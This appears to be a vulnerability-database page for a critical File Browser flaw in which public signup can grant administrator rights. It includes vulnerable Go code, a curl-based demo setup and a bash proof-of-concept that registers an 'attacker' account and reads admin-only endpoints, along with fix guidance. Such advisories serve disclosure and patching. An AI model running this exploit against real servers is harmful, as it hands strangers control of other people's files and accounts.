Loading...
Skip to main content

CVE-2026-32760 — Vulnerability in...

CRITICAL

File Browser Signup Grants Admin When Default Permissions Include Admin

Published March 16, 2026Updated March 30, 2026Source: osv

Summary

## Summary Any unauthenticated visitor can register a full administrator account when self-registration ( signup = true ) is enabled and the default user permissions have perm.admin = true. The signup handler blindly applies all default settings - including Perm.Admin - to the new user without any server-side guard that strips admin from self-registered accounts. ## Details **Affected file:** http/auth.go **Vulnerable code:** ```go user := &users.User{ Username: info.Username, } d.settings.Defaults.Apply(user) ``` **`settings.UserDefaults.Apply` (settings/defaults.go):** ```go func (d *UserDefaults) Apply(u *users.User) { u.Perm = d.Perm ... } ``` **Settings API permits Admin in defaults (http/settings.go):** ```go var settingsPutHandler = withAdmin(func(_ http.ResponseWriter, r *http.Request, d *data) (int, error) { ... d.settings.Defaults = req.Defaults ... }) ``` The signupHandler is supposed to create unprivileged accounts for new visitors. It contains no explicit user.Perm.Admin = false reset after Defaults.Apply. If an administrator (intentionally or accidentally) configures defaults.perm.admin = true and also enables signup, every account created via the public registration endpoint is an administrator with full control over all files, users, and server settings. ## Demo Server Setup ```bash docker run -d --name fb-test \ -p 8080:80 \ -v /tmp/fb-data:/srv \ filebrowser/filebrowser:v2.31.2 ADMIN_TOKEN=$(curl -s -X POST http://localhost:8080/api/login \ -H 'Content-Type: application/json' \ -d '{"username":"admin","password":"admin"}') curl -s -X PUT http://localhost:8080/api/settings \ -H "X-Auth: $ADMIN_TOKEN" \ -H 'Content-Type: application/json' \ -d '{ "signup": true, "defaults": { "perm": { "admin": true, "execute": true, "create": true, "rename": true, "modify": true, "delete": true, "share": true, "download": true } } }' ``` ## PoC Exploit ```bash #!/bin/bash TARGET="http://localhost:8080" echo "[*] Registering attacker account via public signup endpoint..." STATUS=$(curl -s -o /dev/null -w "%{http_code}" \ -X POST "$TARGET/api/signup" \ -H "Content-Type: application/json" \ -d '{"username":"attacker","password":"Attack3r!pass"}') echo "[*] Signup response: HTTP $STATUS" echo "[*] Logging in as newly created account..." ATTACKER_TOKEN=$(curl -s -X POST "$TARGET/api/login" \ -H "Content-Type: application/json" \ -d '{"username":"attacker","password":"Attack3r!pass"}') echo "[*] Fetching user list with attacker token (admin-only endpoint)..." curl -s "$TARGET/api/users" \ -H "X-Auth: $ATTACKER_TOKEN" | python3 -m json.tool echo "" echo "[*] Verifying admin access by reading /api/settings..." curl -s "$TARGET/api/settings" \ -H "X-Auth: $ATTACKER_TOKEN" | python3 -m json.tool ``` **Expected output:** The attacker's token successfully returns the full user list and server settings - endpoints restricted to Perm.Admin = true users. ## Impact Any unauthenticated visitor who can reach POST /api/signup obtains a full admin account. From there, they can: - List, read, modify, and delete every file on the server - Create, modify, and delete all other users - Change authentication method and server settings - Execute arbitrary commands if enableExec = true

Advisory Timeline

  • First published March 16, 2026 (210 days ago).
  • Last revised March 30, 2026 — 14 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Go
Update github.com/filebrowser/filebrowser/v2 to 2.62.0 or later
go get github.com/filebrowser/filebrowser/v2@v2.62.0

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: go (1).

PackageEcosystemAffectedFixed In
github.com/filebrowser/filebrowser/v2
go
All versions2.62.0

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 10.0 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
—
Confidentiality
—
Integrity
—
Availability
—

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Frequently Asked Questions

What is CVE-2026-32760?
File Browser Signup Grants Admin When Default Permissions Include Admin This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 10.0/10).
How do I check if my project is affected by CVE-2026-32760?
CVE-2026-32760 affects github.com/filebrowser/filebrowser/v2. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-32760 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
10.0

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-5gg9-5g7w-hm73
GO-2026-4710

Related CVEs

  • CVE-2026-29188
    CRITICAL

    File Browser's TUS Delete Endpoint Bypasses Delete Permission Check

  • CVE-2026-54088
    CRITICAL

    File Browser: Command Injection via Authentication Hook Shell Substitution (Pre-Authentication RCE)

  • CVE-2026-54089
    CRITICAL

    File Browser: Authentication Bypass via Proxy Auth Header Forgery

  • CVE-2026-54096
    HIGH

    File Browser: Improper Access Control Occurs via Pre-Created Public Share for a Non-existent Path

  • CVE-2026-54097
    HIGH

    File Browser: Cross-user unauthorized share-link deletion via unbounded prefix match in DeleteWithPathPrefix

  • CVE-2025-64523
    HIGH

    File Browser is Vulnerable to Insecure Direct Object Reference (IDOR) in Share Deletion Function

  • CVE-2026-54090
    HIGH

    File Browser has a Command Execution Allowlist Bypass via Shell Metacharacter Injection

  • CVE-2026-55667
    HIGH

    File Browser: Out-of-scope file deletion by a Create-only scoped user via symlink-following RemoveAll in upload failure-cleanup

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies